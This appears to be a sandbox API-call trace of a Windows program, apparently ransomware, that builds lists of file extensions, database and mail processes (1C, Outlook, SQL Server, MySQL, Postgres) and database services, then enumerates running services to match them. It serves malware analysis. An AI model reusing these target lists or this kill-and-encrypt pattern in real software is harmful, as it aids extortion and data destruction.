	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f7d8, Size=0x40) returned 0x66b848
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b848, Size=0x80) returned 0x6d6f78
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d6f78, Size=0x100) returned 0x695778
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeaa0, Size=0x8) returned 0x6eeb10
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeb10, Size=0x10) returned 0x6b7d68
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7d68, Size=0x20) returned 0x68fb48
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ee9a0, Size=0x8) returned 0x6eeac0
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeb20, Size=0x8) returned 0x6ee9f0
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea00, Size=0x8) returned 0x6eeb10
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeb10, Size=0x10) returned 0x6b7b58
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7b58, Size=0x20) returned 0x68f6e8
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeac0, Size=0x10) returned 0x6b7cc0
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ee9f0, Size=0x10) returned 0x6b7de0
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeaa0, Size=0x8) returned 0x6eea40
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ee980, Size=0x8) returned 0x6eeaa0
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7cc0, Size=0x20) returned 0x68fb70
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7de0, Size=0x20) returned 0x68f7d8
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea20, Size=0x8) returned 0x6eead0
	[0036.543] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0036.544] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.544] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7de0, Size=0x20) returned 0x68f800
	[0036.544] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6a6ec8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0036.544] lstrlenW (lpString="C:\\") returned 3
	[0036.544] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0036.544] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6a6ec8 | out: hHeap=0x650000) returned 1
	[0036.544] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ee9c0, Size=0x82) returned 0x695808
	[0036.544] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeb20, Size=0x100) returned 0x695898
	[0036.544] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695808, Size=0x104) returned 0x695ac0
	[0036.544] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695898, Size=0x200) returned 0x6d7ed0
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6eea50 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7ed0 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7e88 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7770 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7d08 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7440 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7de0 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695ac0 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7d68 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6959a0 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7e70 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695a30 | out: hHeap=0x650000) returned 1
	[0036.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7e28 | out: hHeap=0x650000) returned 1
	[0036.545] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7e28, Size=0x20) returned 0x68f828
	[0036.545] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f828, Size=0x40) returned 0x66b3c8
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6ee960 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7c48 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7c18 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d73b8 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7be8 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6eea00 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7cc0 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666d58 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665840 | out: hHeap=0x650000) returned 1
	[0036.546] lstrlenW (lpString="%systemdrive%") returned 13
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f800 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7000 | out: hHeap=0x650000) returned 1
	[0036.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6eeac0 | out: hHeap=0x650000) returned 1
	[0036.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6dd708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0036.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0x66b9f0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0xa80


Thread:
	id = 4
	os_tid = 0xe64

	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6b7be8
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7be8, Size=0x20) returned 0x68f710
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f710, Size=0x40) returned 0x66b338
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b338, Size=0x80) returned 0x6d7880
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7880, Size=0x100) returned 0x695988
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6b7be8
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7be8, Size=0x20) returned 0x68fa80
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fa80, Size=0x40) returned 0x66b338
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b338, Size=0x80) returned 0x6d75d8
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d75d8, Size=0x100) returned 0x695a90
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6b7be8
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x6eeb20
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6b7c48
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eeb20, Size=0x8) returned 0x6eea50
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665840
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea50, Size=0x10) returned 0x6b7de0
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x665b60
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1a) returned 0x68f6c0
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7de0, Size=0x20) returned 0x68f878
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c) returned 0x68f800
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x16) returned 0x665fc0
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1a) returned 0x68f9e0
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6b7de0
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x6eea20
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x66b1d0
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea20, Size=0x8) returned 0x6eea00
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x3c) returned 0x66b4a0
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea00, Size=0x10) returned 0x6b7d08
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665f60
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x665e60
	[0036.550] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7d08, Size=0x20) returned 0x68f710
	[0036.550] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x24) returned 0x666c38
	[0036.551] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0036.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695988 | out: hHeap=0x650000) returned 1
	[0036.551] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0036.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695a90 | out: hHeap=0x650000) returned 1
	[0036.551] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fa58
	[0036.551] EnumServicesStatusExW (in: hSCManager=0x68fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0036.552] GetLastError () returned 0xea
	[0036.552] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c30) returned 0x6a8ed0
	[0036.552] EnumServicesStatusExW (in: hSCManager=0x68fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6a8ed0, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6a8ed0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0036.552] CloseServiceHandle (hSCObject=0x68fa58) returned 1
	[0036.553] lstrlenW (lpString="Appinfo") returned 7
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0036.553] lstrlenW (lpString="AppXSvc") returned 7
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0036.553] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0036.553] lstrlenW (lpString="Audiosrv") returned 8
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0036.553] lstrlenW (lpString="BFE") returned 3
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0036.553] lstrlenW (lpString="BITS") returned 4
	[0036.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0036.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0036.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0036.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0036.553] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0036.554] lstrlenW (lpString="CDPSvc") returned 6
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0036.554] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0036.554] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0036.554] lstrlenW (lpString="CryptSvc") returned 8
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0036.554] lstrlenW (lpString="DcomLaunch") returned 10
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0036.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0036.554] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0036.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0036.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0036.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0036.555] lstrlenW (lpString="Dhcp") returned 4
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0036.555] lstrlenW (lpString="Dnscache") returned 8
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0036.555] lstrlenW (lpString="DPS") returned 3
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0036.555] lstrlenW (lpString="DusmSvc") returned 7
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0036.555] lstrlenW (lpString="EventLog") returned 8
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0036.555] lstrlenW (lpString="EventSystem") returned 11
	[0036.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0036.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0036.555] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0036.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0036.555] lstrlenW (lpString="FontCache") returned 9
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0036.556] lstrlenW (lpString="gpsvc") returned 5
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0036.556] lstrlenW (lpString="iphlpsvc") returned 8
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0036.556] lstrlenW (lpString="KeyIso") returned 6
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0036.556] lstrlenW (lpString="LanmanServer") returned 12
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0036.556] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0036.556] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0036.556] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0036.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0036.556] lstrlenW (lpString="lfsvc") returned 5
	[0036.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0036.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0036.557] lstrlenW (lpString="lmhosts") returned 7
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0036.557] lstrlenW (lpString="LSM") returned 3
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0036.557] lstrlenW (lpString="MpsSvc") returned 6
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
